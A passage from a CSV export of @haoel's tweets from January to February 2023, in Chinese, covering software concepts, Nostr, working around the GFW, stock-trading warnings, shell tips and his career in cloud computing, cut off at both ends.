02:11:04+00:00,3,0,1,,@PenngXiao @iceboundrock @shichijihan 你对幂等的意思理解有偏差，幂等在数学上的的意义的确如你所说，但不能理解为如果查询的数据有改变，那么就会导致多次调用不是一样的结果，这就不是幂等了……如果是这样的话，那么所有的查询的数据都有可能会被别的程序改动，那就都不是幂等了。幂等的意思是执行一次和多次的对数据影响是一样的……,,https://twitter.com/haoel/status/1623867113197953024\n750,1623693879211081729,2023-02-09 14:42:42+00:00,6,0,0,,@tinyfool 比国内的强多了,,https://twitter.com/haoel/status/1623693879211081729\n751,1623547146661421058,2023-02-09 04:59:38+00:00,267,48,29,,\"我 mac上的微信，占了我 50GB 的空间，到目录 ～/Library/Containers/com.tencent.xinWeChat/Data/Library/Application Support/com.tencent.xinWeChat/2.0b4.0.9/ 一顿 du -d 1 -h | sort -h 操作后，发现 MessageTemp 的目录占了我 37GB的大小，包括所有聊天的附件，6,7 年前的都保存着…… https://t.co/w292Jxwr4j\",,https://twitter.com/haoel/status/1623547146661421058\n752,1623537941166567426,2023-02-09 04:23:03+00:00,30,0,1,,@yetone 同款软件，同款小而美，可能还是同款电脑 https://t.co/DMWpHjkIVB,,https://twitter.com/haoel/status/1623537941166567426\n753,1623528816269471745,2023-02-09 03:46:48+00:00,136,5,25,,@plantegg 他的目标不是给你正确答，而是 acting like a human。但是信息都是错的，像个人又有什么 用呢？,,https://twitter.com/haoel/status/1623528816269471745\n754,1623528426404724736,2023-02-09 03:45:15+00:00,177,30,29,,有个开源社区的同学在我司的 discord 群里说到这么一个问题（图一），引发了一下我们内部的一些讨论。最后，我更新了一下我的文章（https://t.co/zE4sypny43），加入了一段话（图二）。 https://t.co/RZXexLcPjZ,\"[TextLink(text='coolshell.cn/articles/22173…', url='https://coolshell.cn/articles/22173.html?updated', tcourl='https://t.co/zE4sypny43', indices=(66, 89))]\",https://twitter.com/haoel/status/1623528426404724736\n755,1623500817767571458,2023-02-09 01:55:32+00:00,0,0,1,,@Popbones 感觉可以把血压，心跳等和其它生命特征的做上去，做个可穿戴的CTU……😂,,https://twitter.com/haoel/status/1623500817767571458\n756,1623284273766711296,2023-02-08 11:35:04+00:00,20,0,4,,@PenngXiao 嗯，跟我们家一样，都是老婆管钱……用钱要各种审批……,,https://twitter.com/haoel/status/1623284273766711296\n757,1623258868779462656,2023-02-08 09:54:07+00:00,2,1,1,,@TomHanklus @kkaibiheessssi 别听他的，你 2.5 元的可乐会被安检的工作人员强行没收的。我给你的建议是，不要在飞机上喝水，飞机上没有厕所，另外，要早点去，飞机上的座位是靠抢的，抢不到就只能站着了……,,https://twitter.com/haoel/status/1623258868779462656\n758,1623255635105296384,2023-02-08 09:41:16+00:00,14,0,0,,@Alexander00o7 https://t.co/pC2mYy1UOC,\"[TextLink(text='twitter.com/henices/status…', url='https://twitter.com/henices/status/1623236692886065152', tcourl='https://t.co/pC2mYy1UOC', indices=(15, 38))]\",https://twitter.com/haoel/status/1623255635105296384\n759,1623254339010822146,2023-02-08 09:36:07+00:00,10,1,0,,@plantegg SCO Unix/AIX/HP-UX/Solaris/IRIX 这些都是我的青春回忆……,,https://twitter.com/haoel/status/1623254339010822146\n760,1623223521307684865,2023-02-08 07:33:40+00:00,48,0,12,,@jl_chen0223 千万不要炒股,,https://twitter.com/haoel/status/1623223521307684865\n761,1623222824373723138,2023-02-08 07:30:54+00:00,410,45,32,,怎么成这样呢？他在开始是挣到钱了，而后面是输红眼了，急于扳本……这完全就是赌徒心态，这种心态有两个特征：1）一个人一旦发现了一种挣钱很快的方法，他就对其它慢速费时费力的挣钱方式就不感兴趣了， 2）一个人一旦输钱了，想要急于扳本的心态是无法控制的……心态变成不劳而获，人也就废了……,,https://twitter.com/haoel/status/1623222824373723138\n762,1623220138857353218,2023-02-08 07:20:13+00:00,149,1,11,,@ST4GM “过两天”的意思是“过了一段时间”，不是真是两天，例句：“过两天我去看你啊”，“借你的钱过两天就还你”……,,https://twitter.com/haoel/status/1623220138857353218\n763,1623218253496725504,2023-02-08 07:12:44+00:00,21,0,9,,@HuMorphy 美股，短线,,https://twitter.com/haoel/status/1623218253496725504\n764,1623217699680845825,2023-02-08 07:10:32+00:00,817,108,245,,前段时间有个前同事联系我，他在技术上是很不错的，公司给的年薪和股票也是很丰厚的。但是不知道为什么他居然去炒股了，还加杠杆，一开始只炒IT的，后来越输越眼红，就什么都股都炒了，没过两天，积蓄全部耗光，房子也卖了，老婆娃子发回老家，自己还欠债近千万，穷到来问我借租房子的钱……哎……,,https://twitter.com/haoel/status/1623217699680845825\n765,1623195612153004038,2023-02-08 05:42:46+00:00,6,1,2,,@tinyfool 做爱国战狼视频吧……,,https://twitter.com/haoel/status/1623195612153004038\n766,1622520924372357121,2023-02-06 09:01:48+00:00,78,4,7,,@plantegg 跟你差不多，只不过那个时候2001军还不知道有Wireshark，公司里用Hub组网，互联网还在明文协议。学习TCP/IP详解时，照着书本改了段代码，于是整个办公室里所有的同事的电子邮箱密码都出现在我的程序日志中了……那时我觉的我就是神……,,https://twitter.com/haoel/status/1622520924372357121\n767,1622518560928186370,2023-02-06 08:52:24+00:00,32,3,4,,ChaGPT 的宕机 脱口秀，太尬了…… https://t.co/5w2Ycr1kZV,,https://twitter.com/haoel/status/1622518560928186370\n768,1622513876947574784,2023-02-06 08:33:47+00:00,7,0,1,,@dangdailuxunn 你就没看懂我在说什么……,,https://twitter.com/haoel/status/1622513876947574784\n769,1622512649438384129,2023-02-06 08:28:55+00:00,71,5,41,,NoStr 这种仅靠一串无法阅读的 public key 来识别用户的方式安全问题也是有一定安全问题的。因为，当你看到一条信息，你要证明这消息就是来自这个人，你得到找到一个可信渠道对比或认证这个人的 public key，而这个所谓可信渠道目前来说这个人的可信的社交帐号，但我相信大多数人是不会去比对的……,,https://twitter.com/haoel/status/1622512649438384129\n770,1621934458537648130,2023-02-04 18:11:23+00:00,179,3,6,,@xiaojingcanxue 其实，主要原因还是国外没有关系，空子不好钻，于是，自己要付出更多的努力和汗水，不如回到温室里生活……,,https://twitter.com/haoel/status/1621934458537648130\n771,1621543051767455745,2023-02-03 16:16:05+00:00,42,3,3,,@_hisriver 嘿嘿，给你个链接—— Your Language Sucks https://t.co/MrQrmdMxsw,\"[TextLink(text='wiki.theory.org/YourLanguageSu…', url='https://wiki.theory.org/YourLanguageSucks', tcourl='https://t.co/MrQrmdMxsw', indices=(42, 65))]\",https://twitter.com/haoel/status/1621543051767455745\n772,1621536861230620673,2023-02-03 15:51:29+00:00,0,0,0,,@qqim2busy 已经修改了，但cdn有缓存，不能马上生效。谢谢了。,,https://twitter.com/haoel/status/1621536861230620673\n773,1621489356665126912,2023-02-03 12:42:43+00:00,52,3,6,,@_hisriver Go/Java 看到 Rust 里面 lifetime / unsafe 满天飞就跟看到垃圾场一样的感觉😜😜,,https://twitter.com/haoel/status/1621489356665126912\n774,1621437810753544192,2023-02-03 09:17:53+00:00,0,0,1,,@nishuang 保存在iCloud里，并开启端到端加密,,https://twitter.com/haoel/status/1621437810753544192\n775,1621424382622208000,2023-02-03 08:24:32+00:00,1,0,0,,@C6NMyrt 谢谢，已修改,,https://twitter.com/haoel/status/1621424382622208000\n776,1621421014570917890,2023-02-03 08:11:09+00:00,0,0,0,,@0xBRACKET 谢谢，已修正,,https://twitter.com/haoel/status/1621421014570917890\n777,1621418554217369601,2023-02-03 08:01:22+00:00,445,70,21,,新写一篇文章【聊聊 NOSTR 和 审查】本文包括 nostr协议简介，如何对抗审查，如何对抗Spam和骗子，以及我对审查的理解和看法。 https://t.co/WIXLdpob6q,\"[TextLink(text='coolshell.cn/articles/22367…', url='https://coolshell.cn/articles/22367.html', tcourl='https://t.co/WIXLdpob6q', indices=(69, 92))]\",https://twitter.com/haoel/status/1621418554217369601\n778,1621145089807642627,2023-02-02 13:54:43+00:00,1,0,1,,@IronMan_CH 关键问题还是一个环境和内容,,https://twitter.com/haoel/status/1621145089807642627\n779,1621139323591757827,2023-02-02 13:31:48+00:00,0,0,1,,@IronMan_CH 看来你是没看明白我说的什么才是关键问题,,https://twitter.com/haoel/status/1621139323591757827\n780,1621101709761339392,2023-02-02 11:02:20+00:00,71,8,10,,做一个 SNS 的 X问题不是去中心化，也不是绝对的自由 ，人们聚在一起是因为有趣味相投，以及有好内容和环境，而要建立好的内容和环境，是需要治理的，治理的重要的手段就是 ban 人、删号和删贴的，这个是必然的，天天发广告到处骂人骗人钓鱼拉仇恨的，谁受的了？ 2/2,,https://twitter.com/haoel/status/1621101709761339392\n781,1621101706321989638,2023-02-02 11:02:20+00:00,195,26,11,,看了一下 nostr 的技术设计，感觉这才是去中心化的做法，整个网络是松散的和自由的，任何人都要搞，就像 Email 和 DNS 一样，任何人都可以架个邮件服务或域名服务，以点对点的方式交流，比那些一提去中心就要整区块链的靠谱多了，我是看不上区块链的……不过，这些都是 Y 问题，Y 问题不是核心问题 1/2,,https://twitter.com/haoel/status/1621101706321989638\n782,1620967935690027008,2023-02-02 02:10:46+00:00,2,0,0,,@SI_Xiaolong 游戏也是一样，所以才有好些游戏加速器……,,https://twitter.com/haoel/status/1620967935690027008\n783,1620863090802987008,2023-02-01 19:14:09+00:00,9,0,4,,@SI_Xiaolong 只要一翻墙，就快的很，你对gfw太不了解了,,https://twitter.com/haoel/status/1620863090802987008\n784,1620810186079498240,2023-02-01 15:43:56+00:00,3,0,0,,@laixintao 没错,,https://twitter.com/haoel/status/1620810186079498240\n785,1620678623010390016,2023-02-01 07:01:09+00:00,3,0,0,,@laixintao @disksing 赞！,,https://twitter.com/haoel/status/1620678623010390016\n786,1620666219782365185,2023-02-01 06:11:51+00:00,1,0,1,,@wey_gu 我用的都是一般的工具，比如：ppt，或是mindset 之类的，我对这类工具的要求一点都不高,,https://twitter.com/haoel/status/1620666219782365185\n787,1620661667825848320,2023-02-01 05:53:46+00:00,2,0,1,,@wey_gu 正好派上用场,,https://twitter.com/haoel/status/1620661667825848320\n788,1620660592762658816,2023-02-01 05:49:30+00:00,68,6,1,,@plantegg 对的，社交的本质主要还是展示自己的才华,,https://twitter.com/haoel/status/1620660592762658816\n789,1620626217841074177,2023-02-01 03:32:54+00:00,0,0,0,,@0xDylanWang 最后回复你一次，1）关于预设命令，你可以看一下 Stackoverflow 里相关的高赞问答，相同的东西，不断的被人问起，绝对不是小部份人，你可能没有这方面的工作经验。2）知识库应该做成在手边的东西，就像编辑文档，如果在你编程时出现就是最好的。3）核心问题就是相似的命令不断地在输入，输入成本很高。,,https://twitter.com/haoel/status/1620626217841074177\n790,1620623497017044992,2023-02-01 03:22:06+00:00,802,170,43,,\"GFW运维：\n1）几乎所有的软件包源都要改成国内镜像。如: Linux,npm,maven,go,python,docker, k8s...\n2）不可避免的要在数据中心里安装翻墙代理，于是你要为你的整个内网配置复杂的网络代理，这里面涉及，NAT, DNS, 路由，及k8s集群内的 DNS。参看https://t.co/xLvNQFlj9C\n时间花在这些地方真不值得……\",\"[TextLink(text='github.com/haoel/haoel.gi…', url='https://github.com/haoel/haoel.github.io#8-%E6%95%B0%E6%8D%AE%E4%B8%AD%E5%BF%83%E9%80%8F%E6%98%8E%E7%BD%91%E5%85%B3', tcourl='https://t.co/xLvNQFlj9C', indices=(147, 170))]\",https://twitter.com/haoel/status/1620623497017044992\n791,1620616410551701504,2023-02-01 02:53:56+00:00,2,0,0,,@lidangzzz 不行啊，ChatGPT全是错的,,https://twitter.com/haoel/status/1620616410551701504\n792,1620600347361411073,2023-02-01 01:50:06+00:00,0,0,1,,\"@0xDylanWang 关于效率那么我们试一下吧：\n\n- 找到当前文件夹下top10占硬盘空间最大的目录\n- nginx 访问top10的client ip\n- 查看打开某文件的进程\n\n关于查找命令，那是个搜索的事情，是可以优化的。这个小工具主要是个小知识库，减少人总是要google或是敲错命令\",,https://twitter.com/haoel/status/1620600347361411073\n793,1620598522306527232,2023-02-01 01:42:51+00:00,1,0,2,,@disksing 这种单个命令就不加了，因为直接输入会更快，除非是小众的,,https://twitter.com/haoel/status/1620598522306527232\n794,1620480681423024129,2023-01-31 17:54:36+00:00,4,0,0,,@cloudwu @skywind3000 是的，手机都被娃抢走了……,,https://twitter.com/haoel/status/1620480681423024129\n795,1620466909899821056,2023-01-31 16:59:52+00:00,0,0,0,,@senob_ 意思是只要勾了sudo，所有的命令都会前面加sudo…,,https://twitter.com/haoel/status/1620466909899821056\n796,1620434268760735744,2023-01-31 14:50:10+00:00,0,0,1,,@senob_ sudo 是个checkbox,,https://twitter.com/haoel/status/1620434268760735744\n797,1620424458032013318,2023-01-31 14:11:11+00:00,0,0,0,,@vip_xxles 不是一回事,,https://twitter.com/haoel/status/1620424458032013318\n798,1620387943419613185,2023-01-31 11:46:05+00:00,0,0,0,,@chiajss 都有了,,https://twitter.com/haoel/status/1620387943419613185\n799,1620381488046034945,2023-01-31 11:20:26+00:00,1,0,0,,@supersu097 好像有-lnp,,https://twitter.com/haoel/status/1620381488046034945\n800,1620381177277480960,2023-01-31 11:19:12+00:00,2,0,1,,@Richard_Quixote 好啊👌搞,,https://twitter.com/haoel/status/1620381177277480960\n801,1620376131793993730,2023-01-31 10:59:09+00:00,1,0,0,,@farmer1992 我感觉还是一个小的知识库更好一些,,https://twitter.com/haoel/status/1620376131793993730\n802,1620374398690799616,2023-01-31 10:52:16+00:00,0,0,1,,@farmer1992 用户还是要输入,,https://twitter.com/haoel/status/1620374398690799616\n803,1620372099016830976,2023-01-31 10:43:08+00:00,779,145,49,,做了一个小功能，把常用的很有用的 shell 命令行做成一个列表，然后点一下就帮你输入到 Terminal 等待你的编辑并回车了……大家可以把你们常用的 shell 命令留在评论区，我把其做到我们 MegaEase 的控制台上……（大家可以上 https://t.co/8Ucr1tXQqJ (国内) 或 https://t.co/skp2puo71c（国外）试用） https://t.co/kmGFp3EQdS,\"[TextLink(text='cloud.megaease.cn', url='http://cloud.megaease.cn', tcourl='https://t.co/8Ucr1tXQqJ', indices=(122, 145)), TextLink(text='cloud.megaease.com', url='http://cloud.megaease.com', tcourl='https://t.co/skp2puo71c', indices=(153, 176))]\",https://twitter.com/haoel/status/1620372099016830976\n804,1620355769387593732,2023-01-31 09:38:14+00:00,13,1,2,,@wey_gu 我一直用gost的http/2，很稳定，只被封过端口……,,https://twitter.com/haoel/status/1620355769387593732\n805,1620328726331535363,2023-01-31 07:50:47+00:00,1,0,1,,@imganquan 表现第二好的是香港机房的，有点贵,,https://twitter.com/haoel/status/1620328726331535363\n806,1620328454859419659,2023-01-31 07:49:42+00:00,8,0,1,,@wey_gu 原生 IP 就是指该 IP 的注册地址与 VPS 机房所在位置一致的 IP。搬瓦工的IP 注册是在加拿大，但是物理位置在美国，应该是调配来的。另外，搬瓦工（GIA CN2）直连很好的，我从来都是直连，表现的很好。对了，你用什么翻墙协议？,,https://twitter.com/haoel/status/1620328454859419659\n807,1620261796165853187,2023-01-31 03:24:49+00:00,9,0,1,,@AkinoKaedeChan https://t.co/VcNUBjrzgR,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1500326127193051140', tcourl='https://t.co/VcNUBjrzgR', indices=(16, 39))]\",https://twitter.com/haoel/status/1620261796165853187\n808,1620239235046604800,2023-01-31 01:55:10+00:00,4,0,1,,@humiaozuzu https://t.co/pgcEYvjqVc,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1460569237764800521', tcourl='https://t.co/pgcEYvjqVc', indices=(12, 35))]\",https://twitter.com/haoel/status/1620239235046604800\n809,1620238308113780737,2023-01-31 01:51:29+00:00,298,39,47,,搬瓦工（BandwagonHost）的GIA CN2的VM实例的网速是我所有梯子里表现最好的，然而，虽然我的搬瓦工身处美国西岸，但是好些App都会Ban掉搬瓦工（IT7 Networks Inc）的好些IP，比如：Disney+ 和 ChatGPT……上 https://t.co/inlrB48jsh 查了一下，搬瓦工的IP好像都不是原生的……,\"[TextLink(text='bgp.he.net', url='http://bgp.he.net', tcourl='https://t.co/inlrB48jsh', indices=(128, 151))]\",https://twitter.com/haoel/status/1620238308113780737\n810,1620104182496903169,2023-01-30 16:58:31+00:00,10,1,1,,@tualatrix 早年的Unix让你用find…,,https://twitter.com/haoel/status/1620104182496903169\n811,1620050039564562434,2023-01-30 13:23:23+00:00,53,2,2,,@plantegg 技术内容都是死的知识，是可以被穷尽的……,,https://twitter.com/haoel/status/1620050039564562434\n812,1619734382167883782,2023-01-29 16:29:04+00:00,0,0,2,,@_ooT00Too_ @shell909090 你是没看懂我说的？我的意思是说，无论你打车，租车还是买车，大城市堵车是常态，你痛苦的事跟住远郊没有因果关系，而只跟你在城市内的通勤距离有关系。你住城东北，但是你要到城西南上班，都在城里，路程 10公里，2 个小时 堵车，你住东边的远郊在城市东部上班，路途 30 公里，1 小时到公司……,,https://twitter.com/haoel/status/1619734382167883782\n813,1619722428682469378,2023-01-29 15:41:34+00:00,0,0,1,,@_ooT00Too_ @shell909090 堵车一般都是在城里堵,,https://twitter.com/haoel/status/1619722428682469378\n814,1619676966541746177,2023-01-29 12:40:55+00:00,3,0,1,,@shell909090 我买车的目的，基本上就是城中的房子买不起，于是买远一点的房子，然后省下的钱买个车……另外，打车要付出的时间成本太高了，尤其在一些热点时段和地区（记得一年前在望京Soho晚上十点打不到车，最后只能骑车回家）……租车的话，除非你用车的频率不高，如果上下班都开车的话，租车肯定更贵……,,https://twitter.com/haoel/status/1619676966541746177\n815,1619383198248767489,2023-01-28 17:13:35+00:00,78,10,3,,\"（继续更新）\n\n🔆 都说选择比努力重要，但其实眼界更重要，没见过好的，就永远不知道什么是好的，你不知道你不知知道的，那些超出你认知的，是无从谈选择的，要突破自己的认知和眼界，只能往更高处走……\n\n💊 你要学会认命和知足，人生才会简单而快乐，眼界开阔后只会让人心生焦虑而不满，徒增烦恼……\",,https://twitter.com/haoel/status/1619383198248767489\n816,1619376788765024257,2023-01-28 16:48:07+00:00,0,0,1,,@wey_gu @junairez 这些还不如ssh方便😜,,https://twitter.com/haoel/status/1619376788765024257\n817,1619376644988502016,2023-01-28 16:47:33+00:00,10,2,0,,@junairez 体验再好点就是SaaS的机场了,,https://twitter.com/haoel/status/1619376644988502016\n818,1619317294131478530,2023-01-28 12:51:43+00:00,10,0,1,,@dykaknsjwkmsmwm 主要是你自己并不知道自己不知道什么东西，所以很多时候还是要靠外外界给你输入,,https://twitter.com/haoel/status/1619317294131478530\n819,1619305158827180037,2023-01-28 12:03:29+00:00,204,22,15,,\"@dykaknsjwkmsmwm 其实应该是这样理解：\n1）好学校不是因为学校好，而是因为他把所有的好学生都招了，让好学校教差生，他们也是教不好的。\n2）影响你日后的人生，当然不是你的学历，更不是你的学校，而是你的朋友圈，你在优秀人的朋友圈比在差生朋友圈能给你开的眼界和机会要多得多（对比三级城市和一线城市就知道了）\",,https://twitter.com/haoel/status/1619305158827180037\n820,1619187417868812291,2023-01-28 04:15:38+00:00,73,0,7,,@plantegg iptables数量太大也很影响性能……😜,,https://twitter.com/haoel/status/1619187417868812291\n821,1619016458796937217,2023-01-27 16:56:18+00:00,4,0,0,,@FreiheitYu 漂亮,,https://twitter.com/haoel/status/1619016458796937217\n822,1618825986048655360,2023-01-27 04:19:26+00:00,1,0,1,,@nishuang 很有意思,,https://twitter.com/haoel/status/1618825986048655360\n823,1618806290775703555,2023-01-27 03:01:10+00:00,20,1,2,,@xfsnowind @ghosTM55 😂😂😂 https://t.co/mq7oOaMXM6,,https://twitter.com/haoel/status/1618806290775703555\n824,1618799755425103874,2023-01-27 02:35:12+00:00,42,3,21,,@ghosTM55 1TB不够是因为做前端开发么？,,https://twitter.com/haoel/status/1618799755425103874\n825,1618533383004647424,2023-01-26 08:56:44+00:00,0,0,0,,@farmer1992 @HiTw93 学习一下,,https://twitter.com/haoel/status/1618533383004647424\n826,1617856095258832896,2023-01-24 12:05:26+00:00,15,0,1,,@kevinzhow 这么快，虽然有点儿意外，挺好的,,https://twitter.com/haoel/status/1617856095258832896\n827,1617522821256843265,2023-01-23 14:01:07+00:00,107,7,29,,《三体》第四集12:15，汪淼纳米实验室里的电脑监控屏……十张软盘的Unix系统……让我想起25年前上大学时用较盘装  SCO Unix 的时光…… https://t.co/kLF03Qr7vH,,https://twitter.com/haoel/status/1617522821256843265\n828,1617514945163448322,2023-01-23 13:29:49+00:00,1,0,1,,@GeNobody @kevinzhow 5秒,,https://twitter.com/haoel/status/1617514945163448322\n829,1617479565366132737,2023-01-23 11:09:14+00:00,123,8,7,,\"@kevinzhow “我是有备而来……绝非浪得虚名”\n——\n顺便学习一下ffmpeg的剪视频命令\nffmpeg -ss 00:26:22 -to 00:27:45  \\\n    -i 国产凌凌漆.1994.mp4 \\\n    -c copy kevin.mp4 https://t.co/cqNMJk9yn9\",,https://twitter.com/haoel/status/1617479565366132737\n830,1617422537646018561,2023-01-23 07:22:37+00:00,342,110,2,,\"学习一下下面这个视频的表达方式：\n1）问题描述\n2）目标\n3）设计\n4）核心技术\n5）动手实现，细节问题\n6）bug-fixes ，优化\n7）演示\n\n再加上一些兴奋和悲伤的情绪作催化剂，完美……👍👍\",,https://twitter.com/haoel/status/1617422537646018561\n831,1617417510118363137,2023-01-23 07:02:39+00:00,72,3,28,,@kevinzhow 本来还是想看的，但在豆瓣上看到下面这两个高赞评论后，我已经不想看了…… （不要什么事都能扯上民族主义） https://t.co/uRNtm8dddZ,,https://twitter.com/haoel/status/1617417510118363137\n832,1617130421246124034,2023-01-22 12:01:51+00:00,124,8,16,,我从去年11月中旬到现在两个月减了近20公斤……等我再减10公斤，我也写写我的减肥心得……,,https://twitter.com/haoel/status/1617130421246124034\n833,1616834971595051012,2023-01-21 16:27:51+00:00,84,5,3,,还是踢场比赛跨年吧…… https://t.co/80zP1c9FV7,,https://twitter.com/haoel/status/1616834971595051012\n834,1615863445940994050,2023-01-19 00:07:21+00:00,0,0,0,,@ThaddeusJiang 👍👍,,https://twitter.com/haoel/status/1615863445940994050\n835,1615733913737129985,2023-01-18 15:32:38+00:00,2,0,1,,@ThaddeusJiang 好像跟我沾上关系了……😂,,https://twitter.com/haoel/status/1615733913737129985\n836,1615205019858632704,2023-01-17 04:31:00+00:00,1,0,0,,@hiyangxi 对，你是对的！,,https://twitter.com/haoel/status/1615205019858632704\n837,1615202603067142150,2023-01-17 04:21:24+00:00,0,0,0,,@Good_for_eat 我意思是说，laptop 因为散热不行，所以要降频，Server因为有降温设备，所以一般不需要降频。风扇是CPU的标配，拿风扇坏了这个举例对说明问题没有任何帮助,,https://twitter.com/haoel/status/1615202603067142150\n838,1615201328036450306,2023-01-17 04:16:20+00:00,0,0,1,,@hiyangxi 你 google 一下你就知道，全世界有大量的人都在问为什么 笔记本安装Linux  会因为 CPU 高温而关机,,https://twitter.com/haoel/status/1615201328036450306\n839,1615195687049887744,2023-01-17 03:53:55+00:00,1,0,1,,@hiyangxi 别猜 测啊，建议你最好先 Google 下……,,https://twitter.com/haoel/status/1615195687049887744\n840,1615193154298470401,2023-01-17 03:43:51+00:00,0,0,1,,@Good_for_eat 你安装一个 Ubuntu Server 版，你看会不会默认安装 thermald ...,,https://twitter.com/haoel/status/1615193154298470401\n841,1615190546334765057,2023-01-17 03:33:29+00:00,92,20,22,,在 Thinkpad X61上安装Ubuntu Server，经常跑个程序，CPU 就 Overheating 然后强制关机了……在用 Laptop 来当服务器用时，没有考虑到这个高温关机的设计，也没想起服务器在机器有降温设备不用CPU降频，而笔记本则需要在高温时对 CPU 降频。需要如下安装 TLP 和 thermald 等程序来帮 Laptop 控温…… https://t.co/KCRtzBevq3,,https://twitter.com/haoel/status/1615190546334765057\n842,1614635812506980354,2023-01-15 14:49:10+00:00,3,0,2,,@tinyfool 我其实是反讽🤪,,https://twitter.com/haoel/status/1614635812506980354\n843,1614506795434913792,2023-01-15 06:16:30+00:00,72,2,21,,@tinyfool 谁说电影得看一手的？我就喜欢看短视频上的5分钟讲部电影……“注意看，这个女人叫小美……”😂,,https://twitter.com/haoel/status/1614506795434913792\n844,1614203702012940289,2023-01-14 10:12:07+00:00,28,0,0,,新年快乐！,,https://twitter.com/haoel/status/1614203702012940289\n845,1614056661878210563,2023-01-14 00:27:50+00:00,0,0,0,,@Evoque_M 收到🫡,,https://twitter.com/haoel/status/1614056661878210563\n846,1613821529590206465,2023-01-13 08:53:30+00:00,20,1,2,,收货都很快嘛 ，这个照片打印机看上去还不错……改变你人生的主要还是你自己，我只是给你的屁股上踢了一脚罢了……,,https://twitter.com/haoel/status/1613821529590206465\n847,1613751005656805378,2023-01-13 04:13:16+00:00,53,2,6,,所以，我很自然地在阿里 2014 年，就在努力为阿里推动 Docker 及调度的技术。但是当时的阿里 还在使用比较老旧的 LXC 技术，且整个资源分配需要人肉审批……他们并不希望放弃 LXC，也不想在运维上太自动化……而且，阿里云还是不想用开源软件……所以，阻力非常之大……不说了，都是伤心事……（完）,,https://twitter.com/haoel/status/1613751005656805378\n848,1613751002934693890,2023-01-13 04:13:15+00:00,25,1,1,,按理来说，这样公司是不应该存在的，但是思维方式是完全不一样的，一个要慢，一个要快，一个要稳，一个要猛……这两种文化的的冲突点太多了，我很幸运在我的人生中经历过这么一家完美统一的公司，后来去了阿里也类似，而且都是还是高速上升期，对我的帮助和人生改变非常巨大……,,https://twitter.com/haoel/status/1613751002934693890\n849,1613751000736878598,2023-01-13 04:13:15+00:00,24,0,1,,所以，在 2010 年做我人生最第二大的决定的时候（第一大是2000 年我刚毕业是放弃分房从银行里出来，从体制内走到体制外），我想去的就是一个既做业务又做基础设施的公司，而 Amazon 成了我唯一不二的选择……,,https://twitter.com/haoel/status/1613751000736878598\n850,1613745878560567299,2023-01-13 03:52:54+00:00,46,0,1,,我个人的理解是这样的，因为大家所处的环境不一样，中国不是技术大国，中国是应用大国。我这个人就做基础设施的，所以我知道基础设施的重要，也见过强大的基础设施是如何干出强大的事来的，但是不知道业务和应用，所以，我不知道手机上能干出错大的事来。马化腾和李彦宏正好跟我相反，这个是很正常……,,https://twitter.com/haoel/status/1613745878560567299\n851,1613745875591008257,2023-01-13 03:52:53+00:00,23,2,1,,在这个过程中，阿里从微软请到了王坚，王坚有云计算这么一个判断，我个人觉得很正常，因为我身边太多的一线工作的朋友都知道云计算是未来，这个没什么 难的。但是像 2008 年看到智能手机走移动应用，我当时就没有这个敏感度，我当时觉得手机不行，跟这些大佬说云计算不行一样。为什么会这样呢？……,,https://twitter.com/haoel/status/1613745875591008257\n852,1613743615184109568,2023-01-13 03:43:54+00:00,8,0,2,,@buleskyca 一方面，aws 没在中国有分枝，另一方面，amazon 里所有的源代码都可以看，而我的团队也跟 AWS有深度的代码级的合作，不多说了……,,https://twitter.com/haoel/status/1613743615184109568\n853,1613742910784278528,2023-01-13 03:41:06+00:00,7,0,0,,@laike9m 我能说的就是阿里云没有花阿里的钱，不然早被阿里干掉了……阿里要上市的时候，阿里云的员工变换劳动合同加入阿里……,,https://twitter.com/haoel/status/1613742910784278528\n854,1613741540417114116,2023-01-13 03:35:39+00:00,25,2,1,,所以，当2008年满世界都在说云的时候，我发现我在 Platform 公司的这些案例，也在被 Amazon或 Google 这样的公司做了，所以，我的背景让我有了这样的敏感度。那么，为什么2008 年没去呢？因为 2008 年发生了金融危机，只能沉浸了两年。等2010整个互联网重启的时候，云计算的红利时代自然也就开始了……,,https://twitter.com/haoel/status/1613741540417114116\n855,1613741536310882304,2023-01-13 03:35:38+00:00,19,0,4,,\"我为什么会注意这些？因为在 2002 -2007 年我在一家叫 Platform 的公司工作，这家公司用 x86 的服务器做成集群做大规模的并行计算，用于颠覆 如 SIG，HP, IBM 的那些贵的要死的超级计算机，用户有哪些？集片制造如 TI，NASA，CERN，福特公司模拟汽车运行，梦工厂，基因研究等等需要大量计算的公司……\",,https://twitter.com/haoel/status/1613741536310882304\n856,1613741534180167681,2023-01-13 03:35:38+00:00,20,0,1,,我大概是在 2006 年知道云的，那个时候，Amazon 干了个 S3 和 EC2，整个科技圈报道的非常多，所以，从那年就开始注意了，但是直到 2008 年才真正开始关注到，因为 2008年，谷歌的GAE，微软的 Azure都在那年开始，而且还有著名的 NASA 使用云计算的案例，那以后云计算的案例就非常多了……,,https://twitter.com/haoel/status/1613741534180167681\n857,1613737650959286273,2023-01-13 03:20:12+00:00,293,51,27,,有人说我不了解十几年前云计算的情况，说那个时候懂云计算的人极少，并给了一个BAT的创始人在2010年讲云计算“打脸”视频， https://t.co/NkdcgBy4Og。怎么说呢，可能是因为外企的朋友圈，所以，我那时觉得云计算必为，所以，2010那年我降职降薪去了 Amzon，为什么我有这种判断，我介绍一下当时的情况…,\"[TextLink(text='bilibili.com/video/av200405…', url='https://www.bilibili.com/video/av200405064/', tcourl='https://t.co/NkdcgBy4Og', indices=(62, 85))]\",https://twitter.com/haoel/status/1613737650959286273\n858,1613733349465686017,2023-01-13 03:03:06+00:00,5,0,1,,@laike9m 一样的，阿里也不看好！,,https://twitter.com/haoel/status/1613733349465686017\n859,1613731499496583170,2023-01-13 02:55:45+00:00,21,2,1,,礼物发的真快，欢迎继续给我们做贡献啊……🤝,,https://twitter.com/haoel/status/1613731499496583170\n860,1613212479366266881,2023-01-11 16:33:21+00:00,33,2,7,,\"来算个数学题：如果用10元人民币可以兑换0欧元，请问，人民币对欧元的汇率是多少？\n\n好象这是在故意制造计算机故障 😂😂\",,https://twitter.com/haoel/status/1613212479366266881\n861,1613075356092878850,2023-01-11 07:28:29+00:00,1,0,0,,@wey_gu Piece of cake,,https://twitter.com/haoel/status/1613075356092878850\n862,1612752413299212288,2023-01-10 10:05:13+00:00,2,0,0,,@dijia1124 和听话的老黄牛或是驴,,https://twitter.com/haoel/status/1612752413299212288\n863,1612750513648603136,2023-01-10 